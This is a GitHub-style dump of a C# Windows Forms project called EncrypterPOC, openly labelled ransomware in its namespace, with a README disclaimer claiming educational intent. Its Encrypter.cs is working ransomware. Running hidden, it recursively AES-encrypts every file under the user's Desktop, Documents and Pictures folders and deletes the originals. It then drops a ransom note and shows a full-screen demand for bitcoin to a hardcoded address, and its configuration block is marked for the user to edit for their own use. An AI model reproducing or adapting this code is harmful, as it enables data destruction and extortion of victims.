├── .gitignore ├── EncrypterPOC.sln ├── README.md └── WindowsFormsApp1 ├── App.config ├── Encrypter.Designer.cs ├── Encrypter.cs ├── Encrypter.resx ├── EncrypterPOC.csproj ├── Program.cs ├── Properties ├── AssemblyInfo.cs ├── Resources.Designer.cs ├── Resources.resx ├── Settings.Designer.cs └── Settings.settings ├── images ├── skull_rip.ico └── skull_rip.png └── skull_rip.ico /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # TeamCity is a build add-in 131 | _TeamCity* 132 | 133 | # DotCover is a Code Coverage Tool 134 | *.dotCover 135 | 136 | # AxoCover is a Code Coverage Tool 137 | .axoCover/* 138 | !.axoCover/settings.json 139 | 140 | # Visual Studio code coverage results 141 | *.coverage 142 | *.coveragexml 143 | 144 | # NCrunch 145 | _NCrunch_* 146 | .*crunch*.local.xml 147 | nCrunchTemp_* 148 | 149 | # MightyMoose 150 | *.mm.* 151 | AutoTest.Net/ 152 | 153 | # Web workbench (sass) 154 | .sass-cache/ 155 | 156 | # Installshield output folder 157 | [Ee]xpress/ 158 | 159 | # DocProject is a documentation generator add-in 160 | DocProject/buildhelp/ 161 | DocProject/Help/*.HxT 162 | DocProject/Help/*.HxC 163 | DocProject/Help/*.hhc 164 | DocProject/Help/*.hhk 165 | DocProject/Help/*.hhp 166 | DocProject/Help/Html2 167 | DocProject/Help/html 168 | 169 | # Click-Once directory 170 | publish/ 171 | 172 | # Publish Web Output 173 | *.[Pp]ublish.xml 174 | *.azurePubxml 175 | # Note: Comment the next line if you want to checkin your web deploy settings, 176 | # but database connection strings (with potential passwords) will be unencrypted 177 | *.pubxml 178 | *.publishproj 179 | 180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 181 | # checkin your Azure Web App publish settings, but sensitive information contained 182 | # in these scripts will be unencrypted 183 | PublishScripts/ 184 | 185 | # NuGet Packages 186 | *.nupkg 187 | # NuGet Symbol Packages 188 | *.snupkg 189 | # The packages folder can be ignored because of Package Restore 190 | **/[Pp]ackages/* 191 | # except build/, which is used as an MSBuild target. 192 | !**/[Pp]ackages/build/ 193 | # Uncomment if necessary however generally it will be regenerated when needed 194 | #!**/[Pp]ackages/repositories.config 195 | # NuGet v3's project.json files produces more ignorable files 196 | *.nuget.props 197 | *.nuget.targets 198 | 199 | # Microsoft Azure Build Output 200 | csx/ 201 | *.build.csdef 202 | 203 | # Microsoft Azure Emulator 204 | ecf/ 205 | rcf/ 206 | 207 | # Windows Store app package directories and files 208 | AppPackages/ 209 | BundleArtifacts/ 210 | Package.StoreAssociation.xml 211 | _pkginfo.txt 212 | *.appx 213 | *.appxbundle 214 | *.appxupload 215 | 216 | # Visual Studio cache files 217 | # files ending in .cache can be ignored 218 | *.[Cc]ache 219 | # but keep track of directories ending in .cache 220 | !?*.[Cc]ache/ 221 | 222 | # Others 223 | ClientBin/ 224 | ~$* 225 | *~ 226 | *.dbmdl 227 | *.dbproj.schemaview 228 | *.jfm 229 | *.pfx 230 | *.publishsettings 231 | orleans.codegen.cs 232 | 233 | # Including strong name files can present a security risk 234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 235 | #*.snk 236 | 237 | # Since there are multiple workflows, uncomment next line to ignore bower_components 238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 239 | #bower_components/ 240 | 241 | # RIA/Silverlight projects 242 | Generated_Code/ 243 | 244 | # Backup & report files from converting an old project file 245 | # to a newer Visual Studio version. Backup files are not needed, 246 | # because we have git ;-) 247 | _UpgradeReport_Files/ 248 | Backup*/ 249 | UpgradeLog*.XML 250 | UpgradeLog*.htm 251 | ServiceFabricBackup/ 252 | *.rptproj.bak 253 | 254 | # SQL Server files 255 | *.mdf 256 | *.ldf 257 | *.ndf 258 | 259 | # Business Intelligence projects 260 | *.rdl.data 261 | *.bim.layout 262 | *.bim_*.settings 263 | *.rptproj.rsuser 264 | *- [Bb]ackup.rdl 265 | *- [Bb]ackup ([0-9]).rdl 266 | *- [Bb]ackup ([0-9][0-9]).rdl 267 | 268 | # Microsoft Fakes 269 | FakesAssemblies/ 270 | 271 | # GhostDoc plugin setting file 272 | *.GhostDoc.xml 273 | 274 | # Node.js Tools for Visual Studio 275 | .ntvs_analysis.dat 276 | node_modules/ 277 | 278 | # Visual Studio 6 build log 279 | *.plg 280 | 281 | # Visual Studio 6 workspace options file 282 | *.opt 283 | 284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 285 | *.vbw 286 | 287 | # Visual Studio LightSwitch build output 288 | **/*.HTMLClient/GeneratedArtifacts 289 | **/*.DesktopClient/GeneratedArtifacts 290 | **/*.DesktopClient/ModelManifest.xml 291 | **/*.Server/GeneratedArtifacts 292 | **/*.Server/ModelManifest.xml 293 | _Pvt_Extensions 294 | 295 | # Paket dependency manager 296 | .paket/paket.exe 297 | paket-files/ 298 | 299 | # FAKE - F# Make 300 | .fake/ 301 | 302 | # CodeRush personal settings 303 | .cr/personal 304 | 305 | # Python Tools for Visual Studio (PTVS) 306 | __pycache__/ 307 | *.pyc 308 | 309 | # Cake - Uncomment if you are using it 310 | # tools/** 311 | # !tools/packages.config 312 | 313 | # Tabs Studio 314 | *.tss 315 | 316 | # Telerik's JustMock configuration file 317 | *.jmconfig 318 | 319 | # BizTalk build output 320 | *.btp.cs 321 | *.btm.cs 322 | *.odx.cs 323 | *.xsd.cs 324 | 325 | # OpenCover UI analysis results 326 | OpenCover/ 327 | 328 | # Azure Stream Analytics local run output 329 | ASALocalRun/ 330 | 331 | # MSBuild Binary and Structured Log 332 | *.binlog 333 | 334 | # NVidia Nsight GPU debugger configuration file 335 | *.nvuser 336 | 337 | # MFractors (Xamarin productivity tool) working folder 338 | .mfractor/ 339 | 340 | # Local History for Visual Studio 341 | .localhistory/ 342 | 343 | # BeatPulse healthcheck temp database 344 | healthchecksdb 345 | 346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 347 | MigrationBackup/ 348 | 349 | # Ionide (cross platform F# VS Code tools) working folder 350 | .ionide/ 351 | -------------------------------------------------------------------------------- /EncrypterPOC.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30804.86 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EncrypterPOC", "WindowsFormsApp1\EncrypterPOC.csproj", "{05C139EC-1F59-4BDF-8DEC-1D7100C6E4CC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {05C139EC-1F59-4BDF-8DEC-1D7100C6E4CC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {05C139EC-1F59-4BDF-8DEC-1D7100C6E4CC}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {05C139EC-1F59-4BDF-8DEC-1D7100C6E4CC}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {05C139EC-1F59-4BDF-8DEC-1D7100C6E4CC}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {5E2A1A45-CBC8-4287-88EA-199F36FA2BF9} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # EncrypterPOC 2 | 3 | THIS IS A PROOF OF CONCEPT. DO NOT USE THIS TO COMMIT CRIME. 4 | I AM NOT RESPONSIBLE FOR YOU DOING DUMB STUFF. 5 | THIS SOURCE HAS BEEN USED AND MADE AVAILABLE FOR PRESENTATION AND EDUCATIONAL PURPOSES. 6 | -------------------------------------------------------------------------------- /WindowsFormsApp1/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Encrypter.Designer.cs: -------------------------------------------------------------------------------- 1 |  2 | namespace RansomwarePOC 3 | { 4 | partial class Form1 5 | { 6 | /// 7 | /// Required designer variable. 8 | /// 9 | private System.ComponentModel.IContainer components = null; 10 | 11 | /// 12 | /// Clean up any resources being used. 13 | /// 14 | /// true if managed resources should be disposed; otherwise, false. 15 | protected override void Dispose(bool disposing) 16 | { 17 | if (disposing && (components != null)) 18 | { 19 | components.Dispose(); 20 | } 21 | base.Dispose(disposing); 22 | } 23 | 24 | #region Windows Form Designer generated code 25 | 26 | /// 27 | /// Required method for Designer support - do not modify 28 | /// the contents of this method with the code editor. 29 | /// 30 | private void InitializeComponent() 31 | { 32 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1)); 33 | this.lblCount = new System.Windows.Forms.Label(); 34 | this.lblBitcoinAmount = new System.Windows.Forms.Label(); 35 | this.label2 = new System.Windows.Forms.Label(); 36 | this.txtBitcoinAddress = new System.Windows.Forms.TextBox(); 37 | this.txtEmailAddress = new System.Windows.Forms.TextBox(); 38 | this.label3 = new System.Windows.Forms.Label(); 39 | this.pictureBox1 = new System.Windows.Forms.PictureBox(); 40 | this.label5 = new System.Windows.Forms.Label(); 41 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); 42 | this.SuspendLayout(); 43 | // 44 | // lblCount 45 | // 46 | this.lblCount.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) 47 | | System.Windows.Forms.AnchorStyles.Right))); 48 | this.lblCount.Font = new System.Drawing.Font("Microsoft Sans Serif", 27.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 49 | this.lblCount.ForeColor = System.Drawing.Color.White; 50 | this.lblCount.Location = new System.Drawing.Point(12, 425); 51 | this.lblCount.Name = "lblCount"; 52 | this.lblCount.Size = new System.Drawing.Size(914, 55); 53 | this.lblCount.TabIndex = 0; 54 | this.lblCount.Text = "Your files (count: n) have been encrypted!"; 55 | this.lblCount.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; 56 | // 57 | // lblBitcoinAmount 58 | // 59 | this.lblBitcoinAmount.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) 60 | | System.Windows.Forms.AnchorStyles.Right))); 61 | this.lblBitcoinAmount.Font = new System.Drawing.Font("Microsoft Sans Serif", 24F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 62 | this.lblBitcoinAmount.ForeColor = System.Drawing.Color.White; 63 | this.lblBitcoinAmount.Location = new System.Drawing.Point(12, 567); 64 | this.lblBitcoinAmount.Name = "lblBitcoinAmount"; 65 | this.lblBitcoinAmount.Size = new System.Drawing.Size(914, 55); 66 | this.lblBitcoinAmount.TabIndex = 1; 67 | this.lblBitcoinAmount.Text = "Please send n Bitcoin(s) to the following BTC address:"; 68 | this.lblBitcoinAmount.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; 69 | // 70 | // label2 71 | // 72 | this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) 73 | | System.Windows.Forms.AnchorStyles.Right))); 74 | this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 24F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 75 | this.label2.ForeColor = System.Drawing.Color.White; 76 | this.label2.Location = new System.Drawing.Point(12, 672); 77 | this.label2.Name = "label2"; 78 | this.label2.Size = new System.Drawing.Size(914, 55); 79 | this.label2.TabIndex = 2; 80 | this.label2.Text = "Next, E-mail your transaction ID to the following address:"; 81 | this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; 82 | // 83 | // txtBitcoinAddress 84 | // 85 | this.txtBitcoinAddress.Anchor = System.Windows.Forms.AnchorStyles.Bottom; 86 | this.txtBitcoinAddress.Font = new System.Drawing.Font("Microsoft Sans Serif", 24F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 87 | this.txtBitcoinAddress.Location = new System.Drawing.Point(136, 625); 88 | this.txtBitcoinAddress.Name = "txtBitcoinAddress"; 89 | this.txtBitcoinAddress.ReadOnly = true; 90 | this.txtBitcoinAddress.Size = new System.Drawing.Size(677, 44); 91 | this.txtBitcoinAddress.TabIndex = 3; 92 | this.txtBitcoinAddress.Text = "1BtUL5dhVXHwKLqSdhjyjK9Pe64Vc6CEH1"; 93 | this.txtBitcoinAddress.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; 94 | // 95 | // txtEmailAddress 96 | // 97 | this.txtEmailAddress.Anchor = System.Windows.Forms.AnchorStyles.Bottom; 98 | this.txtEmailAddress.Font = new System.Drawing.Font("Microsoft Sans Serif", 24F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 99 | this.txtEmailAddress.Location = new System.Drawing.Point(136, 730); 100 | this.txtEmailAddress.Name = "txtEmailAddress"; 101 | this.txtEmailAddress.ReadOnly = true; 102 | this.txtEmailAddress.Size = new System.Drawing.Size(677, 44); 103 | this.txtEmailAddress.TabIndex = 4; 104 | this.txtEmailAddress.Text = "friendly.cyber.criminal@gmail.com"; 105 | this.txtEmailAddress.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; 106 | // 107 | // label3 108 | // 109 | this.label3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) 110 | | System.Windows.Forms.AnchorStyles.Right))); 111 | this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 27.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 112 | this.label3.ForeColor = System.Drawing.Color.White; 113 | this.label3.Location = new System.Drawing.Point(12, 480); 114 | this.label3.Name = "label3"; 115 | this.label3.Size = new System.Drawing.Size(914, 87); 116 | this.label3.TabIndex = 5; 117 | this.label3.Text = "In order to recover your data..."; 118 | this.label3.TextAlign = System.Drawing.ContentAlignment.TopCenter; 119 | // 120 | // pictureBox1 121 | // 122 | this.pictureBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) 123 | | System.Windows.Forms.AnchorStyles.Left) 124 | | System.Windows.Forms.AnchorStyles.Right))); 125 | this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); 126 | this.pictureBox1.Location = new System.Drawing.Point(298, 12); 127 | this.pictureBox1.Name = "pictureBox1"; 128 | this.pictureBox1.Size = new System.Drawing.Size(343, 386); 129 | this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; 130 | this.pictureBox1.TabIndex = 6; 131 | this.pictureBox1.TabStop = false; 132 | // 133 | // label5 134 | // 135 | this.label5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) 136 | | System.Windows.Forms.AnchorStyles.Right))); 137 | this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 24F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); 138 | this.label5.ForeColor = System.Drawing.Color.Crimson; 139 | this.label5.Location = new System.Drawing.Point(12, 777); 140 | this.label5.Name = "label5"; 141 | this.label5.Size = new System.Drawing.Size(914, 71); 142 | this.label5.TabIndex = 8; 143 | this.label5.Text = "."; 144 | this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; 145 | // 146 | // Form1 147 | // 148 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 149 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 150 | this.BackColor = System.Drawing.Color.Crimson; 151 | this.ClientSize = new System.Drawing.Size(938, 857); 152 | this.Controls.Add(this.label5); 153 | this.Controls.Add(this.label3); 154 | this.Controls.Add(this.txtEmailAddress); 155 | this.Controls.Add(this.txtBitcoinAddress); 156 | this.Controls.Add(this.label2); 157 | this.Controls.Add(this.lblBitcoinAmount); 158 | this.Controls.Add(this.lblCount); 159 | this.Controls.Add(this.pictureBox1); 160 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.SizableToolWindow; 161 | this.Name = "Form1"; 162 | this.Text = "Lol"; 163 | this.WindowState = System.Windows.Forms.FormWindowState.Minimized; 164 | this.Load += new System.EventHandler(this.Form1_Load); 165 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); 166 | this.ResumeLayout(false); 167 | this.PerformLayout(); 168 | 169 | } 170 | 171 | #endregion 172 | 173 | private System.Windows.Forms.Label lblCount; 174 | private System.Windows.Forms.Label lblBitcoinAmount; 175 | private System.Windows.Forms.Label label2; 176 | private System.Windows.Forms.TextBox txtBitcoinAddress; 177 | private System.Windows.Forms.TextBox txtEmailAddress; 178 | private System.Windows.Forms.Label label3; 179 | private System.Windows.Forms.PictureBox pictureBox1; 180 | private System.Windows.Forms.Label label5; 181 | } 182 | } 183 | 184 | -------------------------------------------------------------------------------- /WindowsFormsApp1/Encrypter.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Security.Cryptography; 4 | using System.Windows.Forms; 5 | 6 | namespace RansomwarePOC 7 | { 8 | public partial class Form1 : Form 9 | { 10 | /* 11 | * THIS IS A PROOF OF CONCEPT. DO NOT USE THIS TO COMMIT CRIME. 12 | * I AM NOT RESPONSIBLE FOR YOU DOING DUMB STUFF. 13 | * THIS SOURCE HAS BEEN USED AND MADE AVAILABLE 14 | * FOR PRESENTATION AND EDUCATIONAL PURPOSES. 15 | */ 16 | 17 | 18 | 19 | // ----------- EDIT THESE VARIABLES FOR YOUR OWN USE CASE ----------- // 20 | 21 | private const bool DELETE_ALL_ORIGINALS = true; /* CAUTION */ 22 | private const bool ENCRYPT_DESKTOP = true; 23 | private const bool ENCRYPT_DOCUMENTS = true; 24 | private const bool ENCRYPT_PICTURES = true; 25 | private const string ENCRYPTED_FILE_EXTENSION = ".jcrypt"; 26 | private const string ENCRYPT_PASSWORD = "Password1"; 27 | private const string BITCOIN_ADDRESS = "1BtUL5dhVXHwKLqSdhjyjK9Pe64Vc6CEH1"; 28 | private const string BITCOIN_RANSOM_AMOUNT = "1"; 29 | private const string EMAIL_ADDRESS = "this.email.address@gmail.com"; 30 | 31 | // ----------------------------- END -------------------------------- // 32 | 33 | 34 | 35 | 36 | private static string ENCRYPTION_LOG = ""; 37 | private string RANSOM_LETTER = 38 | "All of your files have been encrypted.\n\n" + 39 | "To unlock them, please send " + BITCOIN_RANSOM_AMOUNT + " bitcoin(s) to BTC address: " + BITCOIN_ADDRESS + "\n" + 40 | "Afterwards, please email your transaction ID to: " + EMAIL_ADDRESS + "\n\n" + 41 | "Thank you and have a nice day!\n\n" + 42 | "Encryption Log:\n" + 43 | "----------------------------------------\n"; 44 | private string DESKTOP_FOLDER = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); 45 | private string DOCUMENTS_FOLDER = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); 46 | private string PICTURES_FOLDER = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures); 47 | private static int encryptedFileCount = 0; 48 | 49 | public Form1() 50 | { 51 | InitializeComponent(); 52 | } 53 | 54 | private void Form1_Load(object sender, EventArgs e) 55 | { 56 | initializeForm(); 57 | 58 | if (ENCRYPT_DESKTOP) 59 | { 60 | encryptFolderContents(DESKTOP_FOLDER); 61 | } 62 | 63 | if (ENCRYPT_PICTURES) 64 | { 65 | encryptFolderContents(PICTURES_FOLDER); 66 | } 67 | 68 | if (ENCRYPT_DOCUMENTS) 69 | { 70 | encryptFolderContents(DOCUMENTS_FOLDER); 71 | } 72 | 73 | if (encryptedFileCount > 0) 74 | { 75 | formatFormPostEncryption(); 76 | dropRansomLetter(); 77 | } 78 | else 79 | { 80 | Console.Out.WriteLine("No files to encrypt."); 81 | Application.Exit(); 82 | } 83 | } 84 | 85 | private void dropRansomLetter() 86 | { 87 | StreamWriter ransomWriter = new StreamWriter(DESKTOP_FOLDER + @"\___RECOVER__FILES__" + ENCRYPTED_FILE_EXTENSION + ".txt"); 88 | ransomWriter.WriteLine(RANSOM_LETTER); 89 | ransomWriter.WriteLine(ENCRYPTION_LOG); 90 | ransomWriter.Close(); 91 | } 92 | 93 | private void formatFormPostEncryption() 94 | { 95 | this.Opacity = 100; 96 | this.WindowState = FormWindowState.Maximized; 97 | lblCount.Text = "Your files (count: " + encryptedFileCount + ") have been encrypted!"; 98 | } 99 | 100 | private void initializeForm() 101 | { 102 | this.Opacity = 0; 103 | this.ShowInTaskbar = false; 104 | //this.WindowState = FormWindowState.Maximized; 105 | lblBitcoinAmount.Text = "Please send " + BITCOIN_RANSOM_AMOUNT + " Bitcoin(s) to the following BTC address:"; 106 | txtBitcoinAddress.Text = BITCOIN_ADDRESS; 107 | txtEmailAddress.Text = EMAIL_ADDRESS; 108 | lblBitcoinAmount.Focus(); 109 | } 110 | 111 | static void encryptFolderContents(string sDir) 112 | { 113 | try 114 | { 115 | foreach (string f in Directory.GetFiles(sDir)) 116 | { 117 | if (!f.Contains(ENCRYPTED_FILE_EXTENSION)) { 118 | Console.Out.WriteLine("Encrypting: " + f); 119 | FileEncrypt(f, ENCRYPT_PASSWORD); 120 | } 121 | } 122 | 123 | foreach (string d in Directory.GetDirectories(sDir)) 124 | { 125 | encryptFolderContents(d); 126 | } 127 | } 128 | catch (System.Exception excpt) 129 | { 130 | Console.WriteLine(excpt.Message); 131 | } 132 | } 133 | 134 | private static void FileEncrypt(string inputFile, string password) 135 | { 136 | //http://stackoverflow.com/questions/27645527/aes-encryption-on-large-files 137 | //generate random salt 138 | byte[] salt = GenerateRandomSalt(); 139 | 140 | //create output file name 141 | FileStream fsCrypt = new FileStream(inputFile + ENCRYPTED_FILE_EXTENSION, FileMode.Create); 142 | 143 | //convert password string to byte arrray 144 | byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password); 145 | 146 | //Set Rijndael symmetric encryption algorithm 147 | RijndaelManaged AES = new RijndaelManaged(); 148 | AES.KeySize = 256; 149 | AES.BlockSize = 128; 150 | AES.Padding = PaddingMode.PKCS7; 151 | 152 | //http://stackoverflow.com/questions/2659214/why-do-i-need-to-use-the-rfc2898derivebytes-class-in-net-instead-of-directly 153 | //"What it does is repeatedly hash the user password along with the salt." High iteration counts. 154 | var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000); 155 | AES.Key = key.GetBytes(AES.KeySize / 8); 156 | AES.IV = key.GetBytes(AES.BlockSize / 8); 157 | 158 | //Cipher modes: http://security.stackexchange.com/questions/52665/which-is-the-best-cipher-mode-and-padding-mode-for-aes-encryption 159 | AES.Mode = CipherMode.CBC; 160 | 161 | // write salt to the begining of the output file, so in this case can be random every time 162 | fsCrypt.Write(salt, 0, salt.Length); 163 | 164 | CryptoStream cs = new CryptoStream(fsCrypt, AES.CreateEncryptor(), CryptoStreamMode.Write); 165 | 166 | FileStream fsIn = new FileStream(inputFile, FileMode.Open); 167 | 168 | //create a buffer (1mb) so only this amount will allocate in the memory and not the whole file 169 | byte[] buffer = new byte[1048576]; 170 | int read; 171 | 172 | try 173 | { 174 | while ((read = fsIn.Read(buffer, 0, buffer.Length)) > 0) 175 | { 176 | //Application.DoEvents(); // -> for responsive GUI, using Task will be better! 177 | cs.Write(buffer, 0, read); 178 | } 179 | 180 | // Close up 181 | fsIn.Close(); 182 | } 183 | catch (Exception ex) 184 | { 185 | Console.WriteLine("Error: " + ex.Message); 186 | } 187 | finally 188 | { 189 | ENCRYPTION_LOG += inputFile + "\n"; 190 | encryptedFileCount++; 191 | cs.Close(); 192 | fsCrypt.Close(); 193 | if (DELETE_ALL_ORIGINALS) 194 | { 195 | File.Delete(inputFile); 196 | } 197 | } 198 | } 199 | 200 | private static void FileDecrypt(string inputFile, string outputFile, string password) 201 | { 202 | byte[] passwordBytes = System.Text.Encoding.UTF8.GetBytes(password); 203 | byte[] salt = new byte[32]; 204 | 205 | FileStream cryptoFileStream = new FileStream(inputFile, FileMode.Open); 206 | cryptoFileStream.Read(salt, 0, salt.Length); 207 | 208 | RijndaelManaged AES = new RijndaelManaged(); 209 | AES.KeySize = 256; 210 | AES.BlockSize = 128; 211 | var key = new Rfc2898DeriveBytes(passwordBytes, salt, 50000); 212 | AES.Key = key.GetBytes(AES.KeySize / 8); 213 | AES.IV = key.GetBytes(AES.BlockSize / 8); 214 | AES.Padding = PaddingMode.PKCS7; 215 | AES.Mode = CipherMode.CBC; 216 | 217 | CryptoStream cryptoStream = new CryptoStream(cryptoFileStream, AES.CreateDecryptor(), CryptoStreamMode.Read); 218 | 219 | FileStream fileStreamOutput = new FileStream(outputFile, FileMode.Create); 220 | 221 | int read; 222 | byte[] buffer = new byte[1048576]; 223 | 224 | try 225 | { 226 | while ((read = cryptoStream.Read(buffer, 0, buffer.Length)) > 0) 227 | { 228 | //Application.DoEvents(); 229 | fileStreamOutput.Write(buffer, 0, read); 230 | } 231 | } 232 | catch (CryptographicException ex_CryptographicException) 233 | { 234 | Console.WriteLine("CryptographicException error: " + ex_CryptographicException.Message); 235 | } 236 | catch (Exception ex) 237 | { 238 | Console.WriteLine("Error: " + ex.Message); 239 | } 240 | 241 | try 242 | { 243 | cryptoStream.Close(); 244 | } 245 | catch (Exception ex) 246 | { 247 | Console.WriteLine("Error by closing CryptoStream: " + ex.Message); 248 | } 249 | finally 250 | { 251 | fileStreamOutput.Close(); 252 | cryptoFileStream.Close(); 253 | } 254 | } 255 | 256 | public static byte[] GenerateRandomSalt() 257 | { 258 | byte[] data = new byte[32]; 259 | 260 | using (RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider()) 261 | { 262 | for (int i = 0; i < 10; i++) 263 | { 264 | // Fille the buffer with the generated data 265 | rng.GetBytes(data); 266 | } 267 | } 268 | 269 | return data; 270 | } 271 | } 272 | } 273 | -------------------------------------------------------------------------------- /WindowsFormsApp1/EncrypterPOC.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {05C139EC-1F59-4BDF-8DEC-1D7100C6E4CC} 8 | WinExe 9 | WindowsFormsApp1 10 | WindowsFormsApp1 11 | v4.7.2 12 | 512 13 | true 14 | true 15 | 16 | 17 | AnyCPU 18 | true 19 | full 20 | false 21 | bin\Debug\ 22 | DEBUG;TRACE 23 | 